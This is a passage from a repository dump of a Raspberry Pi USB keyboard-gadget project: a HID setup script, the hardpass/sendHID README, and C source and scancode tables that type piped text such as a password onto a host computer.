| echo 1 > functions/hid.usb0/protocol 27 | echo 1 > functions/hid.usb0/subclass 28 | echo 8 > functions/hid.usb0/report_length 29 | echo -ne \\x05\\x01\\x09\\x06\\xa1\\x01\\x05\\x07\\x19\\xe0\\x29\\xe7\\x15\\x00\\x25\\x01\\x75\\x01\\x95\\x08\\x81\\x02\\x95\\x01\\x75\\x08\\x81\\x03\\x95\\x05\\x75\\x01\\x05\\x08\\x19\\x01\\x29\\x05\\x91\\x02\\x95\\x01\\x75\\x03\\x91\\x03\\x95\\x06\\x75\\x08\\x15\\x00\\x25\\x65\\x05\\x07\\x19\\x00\\x29\\x65\\x81\\x00\\xc0 > functions/hid.usb0/report_desc 30 | mkdir -p configs/c.1/strings/0x409 31 | ln -s functions/hid.usb0 configs/c.1/ 32 | 33 | echo "Config 1: Keyboard" > configs/c.1/strings/0x409/configuration 34 | echo 250 > configs/c.1/MaxPower 35 | ls /sys/class/udc > UDC 36 | # for status check 37 | touch /tmp/enable_hid.lock 38 | -------------------------------------------------------------------------------- /keyboard/hardpass-sendHID/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | gcc -std=c99 -Wall -Werror main.c scancodes.c -o scan 3 | -------------------------------------------------------------------------------- /keyboard/hardpass-sendHID/README.md: -------------------------------------------------------------------------------- 1 | # hardpass 2 | A hardware password manager, built around a Raspberry Pi Zero and [`pass`, the UNIX password manager](https://passwordstore.org). 3 | 4 | This project is now maintained at [this repository](https://github.com/girst/hardpass-passwordmanager). 5 | 6 | # sendHID 7 | 8 | sendHID is a tool to simulate typing using the Linux USB Gadget mode. 9 | 10 | Use a Raspberry Pi Zero (or A) to send keystrokes to a host computer. 11 | 12 | ## using the driver 13 | There are two drivers available: the legacy `g_hid` driver, which has windows support, and the new `libcomposite`, which makes emulation of multiple devices at the same time very easy. Setup instructions on the latter are below. 14 | 15 | The neccessary drivers are available only in the Raspbian 4.4 Kernel, which you can install using `sudo BRANCH=next rpi-update`, if you haven't updated you Pi in a long time. 16 | 17 | You also need to activate the device tree overlay `dwc2` and load the corresponding kernel module: 18 | ``` 19 | echo "dtoverlay=dwc2" | sudo tee -a /boot/config.txt 20 | echo "dwc2" | sudo tee -a /etc/modules 21 | ``` 22 | 23 | To use this program, you have to enable the `libcomposite` driver on the Raspberry Pi and create a USB HID gadget. 24 | You can use this bash script: 25 | ``` 26 | #!/bin/bash 27 | # this is a stripped down version of https://github.com/ckuethe/usbarmory/wiki/USB-Gadgets - I don't claim any rights 28 | 29 | modprobe libcomposite 30 | cd /sys/kernel/config/usb_gadget/ 31 | mkdir -p g1 32 | cd g1 33 | echo 0x1d6b > idVendor # Linux Foundation 34 | echo 0x0104 > idProduct # Multifunction Composite Gadget 35 | echo 0x0100 > bcdDevice # v1.0.0 36 | echo 0x0200 > bcdUSB # USB2 37 | mkdir -p strings/0x409 38 | echo "fedcba9876543210" > strings/0x409/serialnumber 39 | echo "girst" > strings/0x409/manufacturer 40 | echo "Hardpass" > strings/0x409/product 41 | N="usb0" 42 | mkdir -p functions/hid.$N 43 | echo 1 > functions/hid.usb0/protocol 44 | echo 1 > functions/hid.usb0/subclass 45 | echo 8 > functions/hid.usb0/report_length 46 | echo -ne \\x05\\x01\\x09\\x06\\xa1\\x01\\x05\\x07\\x19\\xe0\\x29\\xe7\\x15\\x00\\x25\\x01\\x75\\x01\\x95\\x08\\x81\\x02\\x95\\x01\\x75\\x08\\x81\\x03\\x95\\x05\\x75\\x01\\x05\\x08\\x19\\x01\\x29\\x05\\x91\\x02\\x95\\x01\\x75\\x03\\x91\\x03\\x95\\x06\\x75\\x08\\x15\\x00\\x25\\x65\\x05\\x07\\x19\\x00\\x29\\x65\\x81\\x00\\xc0 > functions/hid.usb0/report_desc 47 | C=1 48 | mkdir -p configs/c.$C/strings/0x409 49 | echo "Config $C: ECM network" > configs/c.$C/strings/0x409/configuration 50 | echo 250 > configs/c.$C/MaxPower 51 | ln -s functions/hid.$N configs/c.$C/ 52 | ls /sys/class/udc > UDC 53 | ``` 54 | 55 | ## internals of this code 56 | whenever you need to add (or remove) a new keyboard layout, the following changes have to be made: 57 | 58 | ### adding a new key to existing layouts 59 | 60 | 1. if the key is on the keyboard, just add a new line, and use the keycode ("Usage ID (Hex)") from the table 12 on page 53pp of the [_USB HID Usage Tables_](https://www.usb.org/sites/default/files/documents/hut1_12v2.pdf) document. 61 | 62 | Following the keycode comes the modifier bit mask. `0x02` is Shift, `0x40` AltGraph. 63 | 64 | Now an example adding the letter A: 65 | 66 | ``` 67 | {"A", //character to translate 68 | { //english layout 69 | 0x04, //keycode 70 | 0x02 //shift 71 | }, { //german layout 72 | 0x04, //keycode 73 | 0x02 //shift 74 | }, { //german-nodeadkeys 75 | 0x04, //keycode 76 | 0x02 //shift 77 | } 78 | } 79 | ``` 80 | 81 | 2. if it isn't on the keyboard, fill keyocde and modifier bit mask with `0x00` for the layout and use the `.unicode=0xXXXX` (See point 3 in the 'adding a new layout' section below). 82 | 83 | ### adding a new keyboard layout (example) 84 | 1. in `scancodes.h` add the layout to `keysym`-struct: 85 | this identifier does not need to be used outside of scancodes.{h,c}. 86 | ``` 87 | struct keysym { 88 | // ... 89 | struct layout de_dv; //dvorak layout 90 | // ... 91 | }; 92 | ``` 93 | 2. the enum `kbd1` has to be ammended: 94 | ``` 95 | enum kbdl { //keyboard layouts: 96 | // ... 97 | de_DV //de_AT-Dvorak 98 | }; 99 | ``` 100 | 3. in `scancodes.c` you need to add a new column (containing more columns) to the big `keysyms[]` table: 101 | It is suggested to explicitly name `.is_dead` and `.unicode` to avoid confusion. Also notice that `.is_dead` is part of the layout (and goes within the inner braces), while `.unicode` resides in the keysym-struct. 102 | if you want to add new keys, the following must be kept in mind: `toscan()` will use the nth line of the table, if n is larger than 32 (aka. will use the ascii code to look up chars). symbols not in the 7-bit ascii standard can be put on the first 32 positions as utf-8 encoded strings, although keeping [0] to the release all chars is recommended. (some text editors will convert files to older encodings - this might break things) 103 | ``` 104 | struct keysym keysyms[] = { 105 | //... 106 | {"#", {0x20, 0x02}, {0x31, 0x00}, {0x31, 0x00}, {KEY, MODIFIER}}, 107 | {"^", {0x23, 0x02}, {0x35, 0x00}, {0x35, 0x00}, {KEY, MODIFIER, .is_dead = 1}}, 108 | {"&", {0x24, 0x02}, {0x23, 0x02}, {0x23, 0x02}, {KEY, MODIFIER}, .unicode=OxHEX}, 109 | //... 110 | }; 111 | ``` 112 | 4. `tolay()` needs a new case to its switch statement: 113 | This is the only place where the `layout`-idenitfier from `keysym` needs to be used. 114 | ``` 115 | struct layout* tolay (struct keysym* s, enum kbdl layout) { 116 | switch (layout) { 117 | // ... 118 | case de_DV: return &(s->de_dv); 119 | default: return NULL; 120 | } 121 | } 122 | ``` 123 | 5. finally, your code must understand the new layout, represented by the `enum kbd1`-entry, `de_DV` in this example. 124 | -------------------------------------------------------------------------------- /keyboard/hardpass-sendHID/hardpass-demo.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # (C) 2016 Tobias Girstmair, released under the GNU GPL 3 | 4 | # this is a demo that fetches a password from the password store (must be initialized) and types it over the usb-hid interface to the host computer. 5 | # see github.com/girst/hardpass -> readme for how to initialize the driver. 6 | # since 471f0ed text to type is read from stdin instead of the last parameter! 7 | 8 | PASSWORD_STORE_GPG_OPTS="--passphrase 123456789" pass show github.com/girst | head -n 1 | sudo ./scan /dev/hidg0 2 2 9 | # `-------´ `--------------´ `-------´ `----´ `--------´ ^ ^ 10 | # '>demo password '>pass-entry | get only | | | '>unicode method 11 | # '>first line | | '>keyboard layout 12 | # | '>device file of hid-gadget 13 | # '>name of executable 14 | -------------------------------------------------------------------------------- /keyboard/hardpass-sendHID/main.c: -------------------------------------------------------------------------------- 1 | /* 2 | (C) 2016 Tobias Girstmair, released under the GNU GPL 3 | 4 | description: sends a sequence of keystrokes provided from stdin to the hid 5 | device. 6 | stops typing at: control characters (including newline), chars not in table, EOF 7 | parameters: 8 | device file (e.g. /dev/hidg0) 9 | keyboard layout (1=en_us, 2=de_at, 3=de_at-nodeadkeys) 10 | unicode method: 1=gtk_holddown, 2=gtk_spaceend, 3=windows 11 | */ 12 | #include 13 | #include 14 | #include 15 | #include "scancodes.h" 16 | 17 | #define TEXT_LEN 256 //max length of piped text 18 | enum params {//argv-indices: 19 | P_EXE, //executable name 20 | P_DEV, //device file 21 | P_LAY, //layout 22 | P_UNI, //unicode method 23 | NUM_P //number of parameters 24 | }; 25 | enum uni_m {//unicode methods: 26 | SKIP, //ignore any keys not on the layout 27 | GTK_HOLD, //hold ctrl and shift while entering hex values 28 | GTK_SPACE, //end hex sequence with spacebar 29 | WINDOWS //use alt+numpad 30 | }; 31 | enum errors { 32 | ERR_SUCCESS, //no error 33 | ERR_ARGCOUNT, //wrong number of arguments 34 | ERR_SYMBOL, //symbol not in look up table 35 | ERR_LAYOUT, //parameter P_LAY does not contain a correct keyboard layout 36 | ERR_LAZY //i haven't done this 37 | }; 38 | 39 | void send_key (FILE* hid_dev, unsigned short key, unsigned short mod); 40 | enum errors send_unicode (FILE* hid_dev, unsigned int unicode, enum uni_m method, enum kbdl layout); 41 | 42 | int main (int argc, char** argv) { 43 | if (argc != NUM_P) { 44 | fprintf (stderr, "Usage: %s \n", argv[P_EXE]); 45 | fprintf (stderr, "Takes string to type from stdin\n"); 46 | fprintf (stderr, ":\ton the Raspberry Pi usually /dev/hidg0\n"); 47 | fprintf (stderr, ":\n\t%d\t%s\n\t%d\t%s\n\t%d\t%s\n", 48 | en_US, "en_US", 49 | de_AT, "de_AT (w/ dead keys)", 50 | de_ND, "de_AT-nodeadkeys"); 51 | fprintf (stderr, ":\n\t%d\t%s\n\t%d\t%s\n\t%d\t%s\n\t%d\t%s\n", 52 | SKIP, "skip over unicode characters", 53 | GTK_HOLD, "X11 Holddown: CTRL+SHIFT+[u, hex]", 54 | GTK_SPACE, "X11 Space: CTRL+SHIFT+u, hex, SPACE", 55 | WINDOWS, "Windows: Alt+[Numpad]"); 56 | return ERR_ARGCOUNT; 57 | } 58 | FILE* hid_dev = fopen (argv[P_DEV], "w"); 59 | char in_string[TEXT_LEN]; 60 | fgets(in_string, TEXT_LEN, stdin); 61 | for (int i = 0; i < strlen (in_string); i++) { 62 | if (in_string[i] < 32) { 63 | if (in_string[i] != '\n' && in_string[i] != '\t') { 64 | fprintf (stderr, "Cannot print control characters!\n"); 65 | return ERR_SYMBOL; 66 | } 67 | } 68 | 69 | char tmp[UTF8_MAX_LENGTH] = {in_string[i], in_string[i+1], in_string[i+2], '\0'}; 70 | //TODO: replace by something less stupid 71 | if (in_string[i] < 128) { // not multi byte 72 | tmp[1] = '\0'; 73 | } else { // is multi byte 74 | if (in_string[i] < 0xe0) { 75 | i++; //skip next thing 76 | tmp[2] = 0; 77 | } else { 78 | i+=2; //WARN: fails on utf8 > 3 byte 79 | } 80 | } 81 | 82 | struct keysym* s = toscan (tmp); 83 | if (s == NULL) { 84 | fprintf (stderr, "Key Symbol not found.\n"); 85 | fclose (hid_dev); 86 | return ERR_SYMBOL; 87 | } 88 | struct layout* l = tolay (s, atoi (argv[P_LAY])); 89 | if (l == NULL) { 90 | fprintf (stderr, "Unrecognised keyboard layout.\n"); 91 | fclose (hid_dev); 92 | return ERR_LAYOUT; 93 | } 94 | if (l->key != 0x00) { 95 | send_key(hid_dev, l->key, l->mod); 96 | send_key(hid_dev, '\0', '\0'); //release all keys 97 | if (l->is_dead) { 98 | //dead keys need to be pressed twice to show up 99 | send_key(hid_dev, l->key, l->mod); 100 | send_key(hid_dev, '\0', '\0'); //release all keys 101 | } 102 | } else { 103 | //key does not exist in this layout, use unicode method 104 | //fprintf (stderr, "Warning: Key '%s'(0x%x) not in this layout!\n", s->sym, s->unicode); 105 | send_unicode (hid_dev, s->unicode, atoi (argv[P_UNI]), atoi(argv[P_LAY])); 106 | } 107 | } 108 | fclose (hid_dev); 109 | 110 | return ERR_SUCCESS; 111 | } 112 | 113 | void send_key (FILE* hid_dev, unsigned short key, unsigned short mod) { 114 | fprintf (hid_dev, "%c%c%c%c%c%c%c%c", mod, '\0', key, '\0', '\0', '\0', '\0', '\0'); 115 | } 116 | 117 | enum errors send_unicode (FILE* hid_dev, unsigned int unicode, enum uni_m method, enum kbdl layout) { 118 | char buf[10]; 119 | struct keysym* s; 120 | struct layout* l; 121 | 122 | if (unicode == 0x00) { 123 | fprintf (stderr, "Symbol not in lookup table!\n"); 124 | return ERR_SYMBOL; 125 | } 126 | 127 | switch (method) { 128 | case SKIP: 129 | break; 130 | case GTK_HOLD: 131 | sprintf (buf, "%x", unicode); 132 | s = toscan ("u"); 133 | l = tolay (s, layout); 134 | send_key (hid_dev, l->key, MOD_LCTRL | MOD_LSHIFT); 135 | for (int i = 0; i < strlen (buf); i++) { 136 | s = toscan ((char[2]){buf[i], '\0'}); 137 | l = tolay (s, layout); 138 | send_key (hid_dev, l->key, MOD_LCTRL | MOD_LSHIFT); 139 | } 140 | send_key (hid_dev, '\0', '\0'); 141 | break; 142 | case GTK_SPACE: 143 | sprintf (buf, "%x ", unicode); 144 | s = toscan ("u"); 145 | l = tolay (s, layout); 146 | send_key (hid_dev, l->key, MOD_LCTRL | MOD_LSHIFT); 147 | for (int i = 0; i < strlen (buf); i++) { 148 | s = toscan ((char[2]){buf[i], '\0'}); 149 | l = tolay (s, layout); 150 | send_key (hid_dev, l->key, MOD_NONE); 151 | } 152 | send_key (hid_dev, '\0', '\0'); 153 | break; 154 | case WINDOWS: 155 | fprintf (stderr, "windows method not implemented!\n"); 156 | return ERR_LAZY; 157 | default: 158 | fprintf (stderr, "unknown unicode method!\n"); 159 | return ERR_LAYOUT; //TODO: better error code 160 | } 161 | return ERR_SUCCESS; 162 | } 163 | -------------------------------------------------------------------------------- /keyboard/hardpass-sendHID/scan: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pedroqin/RaspberryPi-based-multi-functional-USB-Device/b6a86a0b0404766a01721c6b2334c6fd4b2f6439/keyboard/hardpass-sendHID/scan -------------------------------------------------------------------------------- /keyboard/hardpass-sendHID/scancodes.c: -------------------------------------------------------------------------------- 1 | // (C) 2016 Tobias Girstmair, released under the GNU GPL 2 | #include 3 | #include "scancodes.h" 4 | 5 | struct keysym keysyms[] = { 6 | [0] = {"", {0x00, 0x00}, {0x00, 0x00}}, 7 | //using [1]..[31] for non-ascii (utf-8) characters 8 | [1] = {"ä", {0x00, 0x00}, {0x34, 0x00}, {0x34, 0x00}, .unicode = 0xe4}, 9 | {"Ä", {0x00, 0x00}, {0x34, 0x02}, {0x34, 0x02}, .unicode = 0xc4}, 10 | {"ö", {0x00, 0x00}, {0x33, 0x00}, {0x33, 0x00}, .unicode = 0xf6}, 11 | {"Ö", {0x00, 0x00}, {0x33, 0x02}, {0x33, 0x02}, .unicode = 0xd6}, 12 | {"ü", {0x00, 0x00}, {0x2f, 0x00}, {0x2f, 0x00}, .unicode = 0xfc}, 13 | {"Ü", {0x00, 0x00}, {0x2f, 0x02}, {0x2f, 0x02}, .unicode = 0xdc}, 14 | {"ß", {0x00, 0x00}, {0x2d, 0x00}, {0x2d, 0x00}, .unicode = 0xdf}, 15 | {"€", {0x00, 0x00}, {0x08, 0x40}, {0x08, 0x40}, .unicode = 0x20ac}, 16 | [9] = {"\t", {0x2b, 0x00}, {0x2b, 0x00}, {0x2b, 0x00}}, 17 | [10] = {"\n", {0x28, 0x00}, {0x28, 0x00}, {0x28, 0x00}}, 18 | {"µ", {0x00, 0x00}, {0x10, 0x40}, {0x10, 0x40}, .unicode = 0x3bc}, 19 | {"°", {0x00, 0x00}, {0x35, 0x02}, {0x35, 0x02}, .unicode = 0xb0}, 20 | {"§", {0x00, 0x00}, {0x20, 0x02}, {0x20, 0x02}, .unicode = 0xa7}, 21 | {"´", {0x00, 0x00}, {0x2e, 0x00, .is_dead = 1}, {0x2e, 0x00}, .unicode = 0xb4}, 22 | [32] = {" ", {0x2c, 0x00}, {0x2c, 0x00}, {0x2c, 0x00}}, 23 | {"!", {0x1e, 0x02}, {0x1e, 0x02}, {0x1e, 0x02}}, 24 | {"\"",{0x34, 0x02}, {0x1f, 0x02}, {0x1f, 0x02}}, 25 | {"#", {0x20, 0x02}, {0x31, 0x00}, {0x31, 0x00}}, 26 | {"$", {0x21, 0x02}, {0x21, 0x02}, {0x21, 0x02}}, 27 | {"%", {0x22, 0x02}, {0x22, 0x02}, {0x22, 0x02}}, 28 | {"&", {0x24, 0x02}, {0x23, 0x02}, {0x23, 0x02}}, 29 | {"'", {0x34, 0x00}, {0x31, 0x02}, {0x31, 0x02}}, 30 | {"(", {0x26, 0x02}, {0x25, 0x02}, {0x25, 0x02}}, 31 | {")", {0x27, 0x02}, {0x26, 0x02}, {0x26, 0x02}}, 32 | {"*", {0x25, 0x02}, {0x30, 0x02}, {0x30, 0x02}}, 33 | {"+", {0x2e, 0x02}, {0x30, 0x00}, {0x30, 0x00}}, 34 | {",", {0x36, 0x00}, {0x36, 0x00}, {0x36, 0x00}}, 35 | {"-", {0x2d, 0x00}, {0x38, 0x00}, {0x38, 0x00}}, 36 | {".", {0x37, 0x00}, {0x37, 0x00}, {0x37, 0x00}}, 37 | {"/", {0x38, 0x00}, {0x24, 0x02}, {0x24, 0x02}}, 38 | {"0", {0x27, 0x00}, {0x27, 0x00}, {0x27, 0x00}}, 39 | {"1", {0x1e, 0x00}, {0x1e, 0x00}, {0x1e, 0x00}}, 40 | {"2", {0x1f, 0x00}, {0x1f, 0x00}, {0x1f, 0x00}}, 41 | {"3", {0x20, 0x00}, {0x20, 0x00}, {0x20, 0x00}}, 42 | {"4", {0x21, 0x00}, {0x21, 0x00}, {0x21, 0x00}}, 43 | {"5", {0x22, 0x00}, {0x22, 0x00}, {0x22, 0x00}}, 44 | {"6", {0x23, 0x00}, {0x23, 0x00}, {0x23, 0x00}}, 45 | {"7", {0x24, 0x00}, {0x24, 0x00}, {0x24, 0x00}}, 46 | {"8", {0x25, 0x00}, {0x25, 0x00}, {0x25, 0x00}}, 47 | {"9", {0x26, 0x00}, {0x26, 0x00}, {0x26, 0x00}}, 48 | {":", {0x33, 0x02}, {0x37, 0x02}, {0x37, 0x02}}, 49 | {";", {0x33, 0x00}, {0x36, 0x02}, {0x36, 0x02}}, 50 | {"<", {0x36, 0x02}, {0x64, 0x00}, {0x64, 0x00}}, 51 | {"=", {0x2e, 0x00}, {0x27, 0x02}, {0x27, 0x02}}, 52 | {">", {0x37, 0x02}, {0x64, 0x02}, {0x64, 0x02}}, 53 | {"?", {0x38, 0x02}, {0x2d, 0x02}, {0x2d, 0x02}}, 54 | {"@", {0x1f, 0x02}, {0x14, 0x40}, {0x14, 0x40}}, 55 | {"A", {0x04, 0x02}, {0x04, 0x02}, {0x04, 0x02}}, 56 | {"B", {0x05, 0x02}, {0x05, 0x02}, {0x05, 0x02}}, 57 | {"C", {0x06, 0x02}, {0x06, 0x02}, {0x06, 0x02}}, 58 | {"D", {0x07, 0x02}, {0x07, 0x02}, {0x07, 0x02}}, 59 | {"E", {0x08, 0x02}, {0x08, 0x02}, {0x08, 0x02}}, 60 | {"F", {0x09, 0x02}, {0x09, 0x02}, {0x09, 0x02}}, 61 | {"G", {0x0a, 0x02}, {0x0a, 0x02}, {0x0a, 0x02}}, 62 | {"H", {0x0b, 0x02}, {0x0b, 0x02}, {0x0b, 0x02}}, 63 | {"I", {0x0c, 0x02}, {0x0c, 0x02}, {0x0c, 0x02}}, 64 | {"J", {0x0d, 0x02}, {0x0d, 0x02}, {0x0d, 0x02}}, 65 | {"K", {0x0e, 0x02}, {0x0e, 0x02}, {0x0e, 0x02}}, 66 | {"L", {0x0f, 0x02}, {0x0f, 0x02}, {0x0f, 0x02}}, 67 | {"M", {0x10, 0x02}, {0x10, 0x02}, {0x10, 0x02}}, 68 | {"N", {0x11, 0x02}, {0x11, 0x02}, {0x11, 0x02}}, 69 | {"O", {0x12, 0x02}, {0x12, 0x02}, {0x12, 0x02}}, 70 | {"P", {0x13, 0x02}, {0x13, 0x02}, {0x13, 0x02}}, 71 | {"Q", {0x14, 0x02}, {0x14, 0x02}, {0x14, 0x02}}, 72 | {"R", {0x15, 0x02}, {0x15, 0x02}, {0x15, 0x02}}, 73 | {"S", {0x16, 0x02}, {0x16, 0x02}, {0x16, 0x02}}, 74 | {"T", {0x17, 0x02}, {0x17, 0x02}, {0x17, 0x02}}, 75 | {"U", {0x18, 0x02}, {0x18, 0x02}, {0x18, 0x02}}, 76 | {"V", {0x19, 0x02}, {0x19, 0x02}, {0x19, 0x02}}, 77 | {"W", {0x1a, 0x02}, {0x1a, 0x02}, {0x1a, 0x02}}, 78 | {"X", {0x1b, 0x02}, {0x1b, 0x02}, {0x1b, 0x02}}, 79 | {"Y", {0x1c, 0x02}, {0x1d, 0x02}, {0x1d, 0x02}}, 80 | {"Z", {0x1d, 0x02}, {0x1c, 0x02}, {0x1c, 0x02}}, 81 | {"[", {0x2f, 0x00}, {0x25, 0x40}, {0x25, 0x40}}, 82 | {"\\",{0x31, 0x00}, {0x2d, 0x40}, {0x2d, 0x40}}, 83 | {"]", {0x30, 0x00}, {0x26, 0x40}, {0x26, 0x40}}, 84 | {"^", {0x23, 0x02}, {0x35, 0x00, .is_dead = 1}, {0x35, 0x00}}, 85 | {"_", {0x2d, 0x02}, {0x38, 0x02}, {0x38, 0x02}}, 86 | {"`", {0x35, 0x00}, {0x2e, 0x02, .is_dead = 1}, {0x2e, 0x02}}, 87 | {"a", {0x04, 0x00}, {0x04, 0x00}, {0x04, 0x00}}, 88 | {"b", {0x05, 0x00}, {0x05, 0x00}, {0x05, 0x00}}, 89 | {"c", {0x06, 0x00}, {0x06, 0x00}, {0x06, 0x00}}, 90 | {"d", {0x07, 0x00}, {0x07, 0x00}, {0x07, 0x00}}, 91 | {"e", {0x08, 0x00}, {0x08, 0x00}, {0x08, 0x00}}, 92 | {"f", {0x09, 0x00}, {0x09, 0x00}, {0x09, 0x00}}, 93 | {"g", {0x0a, 0x00}, {0x0a, 0x00}, {0x0a, 0x00}}, 94 | {"h", {0x0b, 0x00}, {0x0b, 0x00}, {0x0b, 0x00}}, 95 | {"i", {0x0c, 0x00}, {0x0c, 0x00}, {0x0c, 0x00}}, 96 | {"j", {0x0d, 0x00}, {0x0d, 0x00}, {0x0d, 0x00}}, 97 | {"k", {0x0e, 0x00}, {0x0e, 0x00}, {0x0e, 0x00}}, 98 | {"l", {0x0f, 0x00}, {0x0f, 0x00}, {0x0f, 0x00}}, 99 | {"m", {0x10, 0x00}, {0x10, 0x00}, {0x10, 0x00}}, 100 | {"n", {0x11, 0x00}, {0x11, 0x00}, {0x11, 0x00}}, 101 | {"o", {0x12, 0x00}, {0x12, 0x00}, {0x12, 0x00}}, 102 | {"p", {0x13, 0x00}, {0x13, 0x00}, {0x13, 0x00}}, 103 | {"q", {0x14, 0x00}, {0x14, 0x00}, {0x14, 0x00}}, 104 | {"r", {0x15, 0x00}, {0x15, 0x00}, {0x15, 0x00}}, 105 | {"s", {0x16, 0x00}, {0x16, 0x00}, {0x16, 0x00}}, 106 | {"t", {0x17, 0x00}, {0x17, 0x00}, {0x17, 0x00}}, 107 | {"u", {0x18, 0x00}, {0x18, 0x00}, {0x18, 0x00}}, 108 | {"v", {0x19, 0x00}, {0x19, 0x00}, {0x19, 0x00}}, 109 | {"w", {0x1a, 0x00}, {0x1a, 0x00}, {0x1a, 0x00}}, 110 | {"x", {0x1b, 0x00}, {0x1b, 0x00}, {0x1b, 0x00}}, 111 | {"y", {0x1c, 0x00}, {0x1d, 0x00}, {0x1d, 0x00}}, 112 | {"z", {0x1d, 0x00}, {0x1c, 0x00}, {0x1c, 0x00}}, 113 | {"{", {0x2f, 0x02}, {0x2f, 0x02}, {0x24, 0x40}}, 114 | {"|", {0x31, 0x02}, {0x64, 0x40}, {0x64, 0x40}}, 115 | {"}", {0x30, 0x02}, {0x27, 0x40}, {0x27, 0x40}}, 116 | {"~", {0x35, 0x02}, {0x30, 0x40}, {0x30, 0x40}} 117 | }; 118 | 119 | struct keysym* toscan (const char* utf8) { 120 | if (utf8[1] == '\0') return &(keysyms[(int)utf8[0]]); //if char is not wide, it is on the corrent ascii position in the look up table 121 | for (int i = 0; i < sizeof (keysyms)/sizeof (struct keysym); i++) { 122 | if (strcmp (keysyms[i].sym, utf8) == 0) { 123 | return &(keysyms[i]); 124 | } 125 | } 126 | return NULL; // error 127 | } 128 | 129 | struct layout* tolay (struct keysym* s, enum kbdl layout) { 130 | switch (layout) { 131 | case en_US: return &(s->en_us); 132 | case de_AT: return &(s->de_at); 133 | case de_ND: return &(s->de_nd); 134 | default: return NULL; 135 | } 136 | } 137 | -------------------------------------------------------------------------------- /keyboard/hardpass-sendHID/scancodes.h: -------------------------------------------------------------------------------- 1 | // (C) 2016 Tobias Girstmair, released under the GNU GPL 2 | #ifndef __SCANCODES_H__ 3 | #define __SCANCODES_H__ 4 | 5 | #define UTF8_MAX_LENGTH 4 6 | 7 | #define MOD_NONE 0 8 | #define MOD_LCTRL 1<<0 9 | #define MOD_LSHIFT 1<<1 10 | #define MOD_LALT 1<<2 11 | #define MOD_LSUPER 1<<3 12 | #define MOD_RCTRL 1<<4 13 | #define MOD_RSHIFT 1<<5 14 | #define MOD_RALT 1<<6 15 | #define MOD_RSUPER 1<<7 16 | 17 | struct layout { 18 | unsigned short key; //scancode of normal key 19 | //if this is NULL, the key does not exist in this layout. 20 | unsigned short mod; //bitmask of modifier keys 21 | short is_dead; //is dead key (needs to be pressed twice) 22 | }; 23 | struct keysym { 24 | char sym [UTF8_MAX_LENGTH]; //utf-8 encoded key symbol 25 | struct layout en_us; //substructure for this layout 26 | struct layout de_at; 27 | struct layout de_nd; 28 | unsigned int unicode; //the unicode number to send via alt+numpad or ^U if char is not available in a keyboard layout 29 | }; 30 | 31 | enum kbdl { //keyboard layouts: 32 | na_NA, //reserved 33 | en_US, 34 | de_AT, 35 | de_ND //de_AT-nodeadkeys 36 | }; 37 | 38 | struct keysym* toscan (const char* utf8);//returns the layout struct of a keysym 39 | struct layout* tolay (struct keysym* s, enum kbdl layout); //returns layout struct from keysym struct 40 | #endif 41 | -------------------------------------------------------------------------------- /keyboard/hid_kbd.txt: -------------------------------------------------------------------------------- 1 | #define KEY_NONE 0x00 2 | #define KEY_ERRORROLLOVER 0x01 3 | #define KEY_POSTFAIL 0x02 4 | #define KEY_ERRORUNDEFINED 0x03 5 | #define KEY_A 0x04 6 | #define KEY_B 0x05 7 | #define KEY_C 0x06 8 | #define KEY_D 0x07 9 | #define KEY_E 0x08 10 | #define KEY_F 0x09 11 | #define KEY_G 0x0A 12 | #define KEY_H 0x0B 13 | #define KEY_I 0x0C 14 | #define KEY_J 0x0D 15 | #define KEY_K 0x0E 16 | #define KEY_L 0x0F 17 | #define KEY_M 0x10 18 | #define KEY_N 0x11 19 | #define KEY_O 0x12 20 | #define KEY_P 0x13 21 | #define KEY_Q 0x14 22 | #define KEY_R 0x15 23 | #define KEY_S 0x16 24 | #define KEY_T 0x17 25 | #define KEY_U 0x18 26 | #define KEY_V 0x19 27 | #define KEY_W 0x1A 28 | #define KEY_X 0x1B 29 | #define KEY_Y 0x1C 30 | #define KEY_Z 0x1D 31 | #define KEY_1_EXCLAMATION_MARK 0x1E 32 | #define KEY_2_AT 0x1F 33 | #define KEY_3_NUMBER_SIGN 0x20 34 | #define KEY_4_DOLLAR 0x21 35 | #define KEY_5_PERCENT 0x22 36 | #define KEY_6_CARET 0x23 37 | #define KEY_7_AMPERSAND 0x24 38 | #define KEY_8_ASTERISK 0x25 39 | #define KEY_9_OPARENTHESIS 0x26 40 | #define KEY_0_CPARENTHESIS 0x27 41 | #define KEY_ENTER 0x28 42 | #define KEY_ESCAPE 0x29 43 | #define KEY_BACKSPACE 0x2A 44 | #define KEY_TAB 0x2B 45 | #define KEY_SPACEBAR 0x2C 46 | #define KEY_MINUS_UNDERSCORE 0x2D 47 | #define KEY_EQUAL_PLUS 0x2E 48 | #define KEY_OBRACKET_AND_OBRACE 0x2F 49 | #define KEY_CBRACKET_AND_CBRACE 0x30 50 | #define KEY_BACKSLASH_VERTICAL_BAR 0x31 51 | #define KEY_NONUS_NUMBER_SIGN_TILDE 0x32 52 | #define KEY_SEMICOLON_COLON 0x33 53 | #define KEY_SINGLE_AND_DOUBLE_QUOTE 0x34 54 | #define KEY_GRAVE ACCENT AND TILDE 0x35 55 | #define KEY_COMMA_AND_LESS 0x36 56 | #define KEY_DOT_GREATER 0x37 57 | #define KEY_SLASH_QUESTION 0x38 58 | #define KEY_CAPS LOCK 0x39 59 | #define KEY_F1 0x3A 60 | #define KEY_F2 0x3B 61 | #define KEY_F3 0x3C 62 | #define KEY_F4 0x3D 63 | #define KEY_F5 0x3E 64 | #define KEY_F6 0x3F 65 | #define KEY_F7 0x40 66 | #define KEY_F8 0x41 67 | #define KEY_F9 0x42 68 | #define KEY_F10 0x43 69 | #define KEY_F11 0x44 70 | #define KEY_F12 0x45 71 | #define KEY_PRINTSCREEN 0x46 72 | #define KEY_SCROLL LOCK 0x47 73 | #define KEY_PAUSE 0x48 74 | #define KEY_INSERT 0x49 75 | #define KEY_HOME 0x4A 76 | #define KEY_PAGEUP 0x4B 77 | #define KEY_DELETE 0x4C 78 | #define KEY_END1 0x4D 79 | #define KEY_PAGEDOWN 0x4E 80 | #define KEY_RIGHTARROW 0x4F 81 | #define KEY_LEFTARROW 0x50 82 | #define KEY_DOWNARROW 0x51 83 | #define KEY_UPARROW 0x52 84 | #define KEY_KEYPAD_NUM_LOCK_AND_CLEAR 0x53 85 | #define KEY_KEYPAD_SLASH 0x54 86 | #define KEY_KEYPAD_ASTERIKS 0x55 87 | #define 